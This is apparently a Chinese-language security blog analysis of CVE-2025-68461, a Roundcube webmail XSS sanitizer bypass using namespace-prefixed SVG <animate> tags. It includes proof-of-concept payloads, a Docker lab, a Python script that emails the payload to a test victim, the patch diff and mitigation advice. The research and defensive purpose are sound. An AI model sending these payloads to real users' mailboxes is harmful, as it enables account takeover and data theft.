我们的 AI 引擎 Neutron 在加州大学伯克利分校的 CyberGym 基准测试中取得了 96.75% 的成绩。 了解更多

安全

安全

CVE-2025-68461:Roundcube SVG Animate XSS 绕过

CVE-2025-68461(CVSS 7.2)通过命名空间前缀让 SVG animate 标签绕过 Roundcube 的净化器。包含 PoC、补丁分析、Nuclei 检测与缓解措施。

CVE-2025-68461

Roundcube Webmail SVG Animate XSS 净化器绕过 —— PoC 与漏洞利用

2025 年 12 月 17 日 · CVSS 7.2 高危 · Roundcube < 1.5.12、< 1.6.12

CVE ID CVSS 受影响版本 已修复版本
CVE-2025-68461 7.2 高危 < 1.5.12、< 1.6.12 1.5.12+,1.6.12+

CVE-2025-68461 概述:通过 SVG Animate 标签实现的 XSS

Roundcube Webmail 是一款部署广泛的开源网页邮件客户端,默认随 cPanel 捆绑,被全球各地的高校、企业和政府机构使用。

研究人员在 Roundcube 自定义 HTML 净化器 (rcube_washtml.php) 处理 SVG <animate> 标签的方式中发现了一个存储型跨站脚本(XSS)漏洞。该净化器负责在用户浏览器渲染 HTML 邮件之前剥离其中的危险内容。它能够正确识别并拦截以 href 属性为目标的 <animate> 元素 —— 这是通过 SMIL 动画注入 javascript: URI 的一种已知向量。然而,该检查未考虑 XML 命名空间前缀。当攻击者使用 attributeName="xlink:href" 而非 attributeName="href" 时,字符串比较失败,整个 <animate> 标签原封不动地通过净化器,values 属性中的 javascript: 载荷被送达浏览器。

XSS 净化器绕过:命名空间前缀规避

问题的核心在于净化器拦截 animate 标签的逻辑中存在不完整的字符串比较。当净化器遇到 SVG 动画元素时,它会检查这些元素是否以 href 属性为目标,如果是则拦截。该检查使用一个辅助函数,将 attributeName 的值与字面字符串 "href" 进行比较。这个比较不会剥离或规范化 XML 命名空间前缀,因此 "xlink:href" 与 "href" 不匹配,标签被放行。

存在漏洞的代码

在 rcube_washtml.php 中,dumpHtml() 方法包含了针对动画元素的把关逻辑:

else if (in_array($tagName, ['animate', 'animatecolor', 'set', 'animatetransform'])
    && self::attribute_value($node, 'attributename', 'href')
) {
    $dump .= "<!-- {$tagName} blocked -->";
}

attribute_value() 辅助函数执行比较:

private static function attribute_value($node, $attr_name, $attr_value)
{
    foreach ($node->attributes as $name => $attr) {
        if (strtolower($name) === $attr_name) {
            $val = strtolower(trim($attr->nodeValue));
            if ($attr_value === $val) {
                return true;
            }
        }
    }
    return false;
}

当 attributeName="xlink:href" 时:

  • strtolower(trim("xlink:href")) 得到 "xlink:href"
  • "href" === "xlink:href" 结果为 false
  • 函数返回 false,整个 <animate> 标签连同其完好无损的 javascript: 载荷一起被放行

此外,wash_attribs() 方法针对动画元素的 from 和 to 属性还有一条次要的漏洞路径:

if ($key == 'to' || $key == 'from') {
    $key = strtolower($node->getAttribute('attributeName'));  // "xlink:href"
    if ($key && !isset($this->_html_attribs[$key])) {
        $key = null;  // "xlink:href" not in allowlist → skip dangerous-attribute check
    }
}

此处 "xlink:href" 不在 _html_attribs 允许列表中,因此属性名被设为 null,危险属性的净化被完全跳过。

净化器的输出结果

给定 HTML 邮件中的以下载荷:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="50">
  <a class="a">
    <animate attributeName="xlink:href" values="javascript:alert('CVE-2025-68461')" />
    <text x="10" y="30" fill="blue" font-size="14" style="text-decoration:underline;cursor:pointer">
      Click to view document
    </text>
  </a>
</svg>

净化器输出的 <animate> 标签及其 javascript: 载荷完全完好无损。作为对比,使用 attributeName="href" 的相同载荷会被正确拦截,并替换为 <!-- animate blocked -->。

CVE-2025-68461 概念验证:净化器绕过确认

为验证该漏洞,我们使用一个本地化环境,通过定制的 PoC 演示 Roundcube 净化器如何未能捕获带命名空间前缀的属性。

载荷投递

该载荷通过 SMTP 向受害者的 Roundcube 邮箱发送一封 HTML 邮件来投递。

测试环境使用 Docker,搭配 Roundcube 1.6.11 和作为本地邮件服务器的 GreenMail,从而无需外部 SMTP 凭据:

  • docker-compose.yml:
version: "3.8"
services:
  greenmail:
    image: greenmail/standalone:2.0.1
    ports:
      - "3025:3025"   # SMTP
      - "3143:3143"   # IMAP
    environment:
      - GREENMAIL_OPTS=-Dgreenmail.setup.test.all -Dgreenmail.users=victim:victim@lab.local

  roundcube:
    image: roundcube/roundcubemail:1.6.11-apache
    ports:
      - "8080:80"
    environment:
      - ROUNDCUBEMAIL_DEFAULT_HOST=greenmail
      - ROUNDCUBEMAIL_DEFAULT_PORT=3143
      - ROUNDCUBEMAIL_SMTP_SERVER=greenmail
      - ROUNDCUBEMAIL_SMTP_PORT=3025
    depends_on:
      - greenmail
  • 发送载荷的 Python 脚本:
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText

PAYLOAD = """\
<html><body>
<p>Please review the attached document:</p>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="50">
  <a class="a">
    <animate attributeName="xlink:href" values="javascript:alert('XSS-CVE-2025-68461')" />
    <text x="10" y="30" fill="blue" font-size="14"
          style="text-decoration:underline;cursor:pointer">Click to view document</text>
  </a>
</svg>
<p>Best regards,<br>Document System</p>
</body></html>"""

msg = MIMEMultipart("alternative")
msg["From"] = "attacker@lab.local"
msg["To"] = "victim@lab.local"
msg["Subject"] = "Document Review Request"
msg.attach(MIMEText("View in HTML mode.", "plain"))
msg.attach(MIMEText(PAYLOAD, "html"))

with smtplib.SMTP("127.0.0.1", 3025) as server:
    server.sendmail("attacker@lab.local", ["victim@lab.local"], msg.as_string())

DOM 验证

两项差异化测试确认了该绕过:

测试 1 —— attributeName="href"(被拦截):

净化器正确识别并拦截了 <animate> 标签。渲染出的 DOM 在载荷位置显示 <!-- animate blocked -->:

  • 载荷 :
<svg xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="50">
  <a class="a">
    <animate attributeName="href" values="javascript:alert('CVE-2025-68461')" />
    <text x="10" y="30" fill="blue" font-size="14" style="text-decoration:underline;cursor:pointer">
      Click to view document
    </text>
  </a>
</svg>
  • 结果 :

测试 2 —— attributeName="xlink:href"(被绕过):

带有完整 javascript: URI 的 <animate> 标签完全完好无损地通过了净化器:

  • 载荷 :
<svg width="200" height="50">
  <a class="v1a">
    <animate attributeName="xlink:href" values="javascript:alert('XSS-CVE-2025-68461')"></animate>
    <text x="10" y="30" fill="blue" font-size="14"
          style="text-decoration: underline; cursor: pointer">Click to view document</text>
  </a>
</svg>
  • 结果 :

为什么 JavaScript 没有执行

dumpHtml() 对命名空间的剥离

Roundcube 的 dumpHtml() 方法在序列化 SVG 元素时会尝试重新添加命名空间声明。这并非安全措施 —— 之所以存在,是因为 PHP 的 DOMDocument::loadHTML() 不理解 XML 命名空间,并在解析时将其丢弃。该方法会向 DOM 查询任何残存的命名空间,并重新附加上去:

if ($tagName == 'svg') {
    $xpath = new DOMXPath($node->ownerDocument);
    foreach ($xpath->query('namespace::*') as $ns) {
        if ($ns->nodeName != 'xmlns:xml') {
            $tag .= sprintf(' %s="%s"',
                $ns->nodeName,
                htmlspecialchars($ns->nodeValue, ENT_QUOTES, $this->config['charset'])
            );
        }
    }
}

问题在于,loadHTML() 在这段代码运行之前就已经丢弃了 xmlns:xlink="http://www.w3.org/1999/xlink" 声明。XPath 查询找不到任何残存的命名空间,因此 <svg> 标签输出时完全没有命名空间属性。attributeName 的_值_ "xlink:href" 原封不动地通过,因为它是属性值中的字符串,而非命名空间声明。但浏览器没有可供解析的 xlink 命名空间。SMIL 引擎无法将 xlink:href 映射到可动画的属性,因此 animVal 保持为空,javascript: URI 从未被应用。

浏览器对 xlink:href 的弃用

xlink:href 属性在 SVG 2 中已被弃用。SVG 2 彻底移除了对 xlink 命名空间的需求 —— 应改用 href。现代浏览器为向后兼容仍支持 xlink:href,但仅当 xlink 命名空间被正确声明时。由于 Roundcube 的处理流水线剥离了这一命名空间声明,浏览器无法将 xlink:href 解析为可动画的属性,动画便静默失败。

确认

通过在服务器上给 dumpHtml() 打补丁以强制正确的命名空间声明,这一点得到了确认:

if ($tagName == 'svg') {
    $tag .= 'xmlns:xlink="http://www.w3.org/1999/xlink"';
}

应用此补丁后,点击链接成功在 Roundcube 内部触发了 alert()。撤销补丁后,恢复了原先失效的行为。

CVE-2025-68461 的修复

下面总结 Roundcube 如何通过规范化 XML 命名空间来修补这一严重的属性过滤器绕过,随后给出一份指南,介绍如何使用 Nuclei 通过提取版本字符串来大规模检测存在漏洞的服务器。

修复后代码分析

修复在比较之前添加了一个剥离命名空间前缀的步骤:

// BEFORE (vulnerable): raw string comparison
$val = strtolower(trim($attr->nodeValue));
if ($attr_value === $val) {
    return true;
}

// AFTER (fixed): strip namespace prefix before comparison : xlink:href => href
$val = strtolower(trim($attr->nodeValue));
$val = trim(preg_replace('/^.*:/', '', strtolower($attr->nodeValue)));
if ($attr_value === $val) {
    return true;
}

现在 "xlink:href" 在比较前会变为 "href",<animate> 标签得到正确拦截。

使用 Nuclei 进行检测

现已提供一个 Nuclei 模板,用于大规模识别存在漏洞的 Roundcube 实例。该模板从登录页的 JavaScript 中提取 rcversion 整数,并将其与受影响的版本范围进行比较:

该模板能匹配任何运行版本低于 1.5.12 或低于 1.6.12 的 Roundcube 实例。无需身份验证 —— 版本在登录页上即已暴露。

CVE-2025-68461 的缓解与最佳实践

  • 立即更新:立刻升级到 Roundcube 1.6.12 或 1.5.12。这些版本包含了针对 CVE-2025-68461 的修复。
  • 内容安全策略:部署严格的 CSP 头,禁止 javascript: URI 和内联脚本执行,为抵御 XSS 提供纵深防御。
  • 网络暴露面:尽可能限制对网页邮件界面的公开访问。Roundcube 实例是 APT 组织的高价值目标。
  • 监控利用迹象:留意包含 SVG <animate> 元素的邮件,尤其是 attributeName 属性中带有 xlink:href 的邮件。

参考资料

资源 链接
Roundcube 安全公告(1.6.12 / 1.5.12) https://roundcube.net/news/2025/12/13/security-updates-1.6.12-and-1.5.12
修复提交 bfa032631c https://github.com/roundcube/roundcubemail/commit/bfa032631c36b900e7444dfa278340b33cbf7cdb
NVD CVE-2025-68461 https://nvd.nist.gov/vuln/detail/CVE-2025-68461
CWE-79: Improper Neutralization of Input During Web Page Generation https://cwe.mitre.org/data/definitions/79.html
Nuclei 模板 https://github.com/Ostorlab/KEV/blob/main/nuclei/CVE-2025-68461.yaml